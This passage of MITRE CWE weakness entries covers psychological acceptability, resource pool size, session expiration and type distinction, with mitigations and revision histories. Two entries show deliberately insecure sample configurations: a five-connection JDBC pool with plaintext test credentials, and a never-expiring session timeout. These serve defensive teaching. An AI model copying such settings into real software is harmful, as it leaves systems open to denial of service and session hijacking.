[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-1374] Unciphered. "Randstorm: You Can't Patch a House of Cards". 2023-11-14. <https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards>. URL validated: 2023-11-15.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated References
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes
2021-10-28CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples, References

CWE-655: Insufficient Psychological Acceptability

Weakness ID: 655
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.
+ Demonstrative Examples

Example 1

In "Usability of Security: A Case Study" [REF-540], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

Example 2

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

Example 3

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

+ Potential Mitigations

Phase: Testing

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

Phase: Architecture and Design

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.995SFP Secondary Cluster: Feature
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1379ICS Operations (& Maintenance): Human factors in ICS environments
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Other

This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
ISA/IEC 62443Part 2-1Req 4.3.3.6
ISA/IEC 62443Part 4-1Req SD-4
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-539] Sean Barnum and Michael Gegick. "Psychological Acceptability". 2005-09-15. <https://web.archive.org/web/20221104163022/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/psychological-acceptability>. URL validated: 2023-04-07.
[REF-540] J. D. Tygar and Alma Whitten. "Usability of Security: A Case Study". SCS Technical Report Collection, CMU-CS-98-155. 1998-12-15. <http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 14: Poor Usability." Page 217. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-18
(CWE Draft 8, 2008-01-30)
Pascal MeunierPurdue University
+ Contributions
Contribution DateContributorOrganization
2022-07-16Nicolai Plum
Provided new links for a reference that improved multiple CWEs.
2023-01-24
(CWE 4.10, 2023-01-31)
"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Description, Name
2009-05-27CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature
2020-02-24CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description, Maintenance_Notes, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Design Principle Violation: Failure to Satisfy Psychological Acceptability
2009-05-27Failure to Satisfy Psychological Acceptability

CWE-410: Insufficient Resource Pool

Weakness ID: 410
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.
+ Extended Description
Frequently the consequence is a "flood" of connection or sessions.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.400Uncontrolled Resource Consumption
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Integrity
Other

Technical Impact: DoS: Crash, Exit, or Restart; Other

Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of *other* vulnerabilities, not an insufficient resource pool.
+ Demonstrative Examples

Example 1

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

(bad code)
Example Language: XML 
<Resource name="jdbc/exampledb"
auth="Container"
type="javax.sql.DataSource"
removeAbandoned="true"
removeAbandonedTimeout="30"
maxActive="5"
maxIdle="5"
maxWait="60000"
username="testuser"
password="testpass"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost/exampledb"/>
+ Observed Examples
ReferenceDescription
Large number of locks on file exhausts the pool and causes crash.
Product supports only one connection and does not disconnect a user who does not provide credentials.
Large number of connections without providing credentials allows connection exhaustion.
+ Potential Mitigations

Phase: Architecture and Design

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

Phase: Architecture and Design

Consider implementing a velocity check mechanism which would detect abusive behavior.

Phase: Operation

Consider load balancing as an option to handle heavy loads.

Phase: Implementation

Make sure that resource handles are properly closed when no longer needed.

Phase: Architecture and Design

Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.855The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1145SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsufficient Resource Pool
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
The CERT Oracle Secure Coding Standard for Java (2011)TPS00-JUse thread pools to enable graceful degradation of service during traffic bursts
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 17, "Protecting Against Denial of Service Attacks" Page 517. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Relationships
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-02-16CWE Content TeamMITRE
updated References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Functional_Areas, References
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-613: Insufficient Session Expiration

Weakness ID: 613
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1217User Session Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1018Manage User Sessions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

(bad code)
Example Language: Java 
<web-app>
[...snipped...]

<session-config>
<session-timeout>-1</session-timeout>
</session-config>
</web-app>
+ Potential Mitigations

Phase: Implementation

Set sessions/credentials expiration date.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.951SFP Secondary Cluster: Insecure Authentication Policy
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC47Insufficient Session Expiration
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
WASC
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-09-27CWE Content TeamMITRE
updated Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-351: Insufficient Type Distinction

Weakness ID: 351
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly distinguish between different types of elements in a way that leads to insecure behavior.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.434Unrestricted Upload of File with Dangerous Type
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Observed Examples
ReferenceDescription
Browser user interface does not distinguish between user-initiated and synthetic events.
Product does not compare all required data in two separate elements, causing it to think they are the same, leading to loss of ACLs. Similar to Same Name error.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps others, e.g. Multiple Interpretation Errors.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsufficient Type Distinction
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
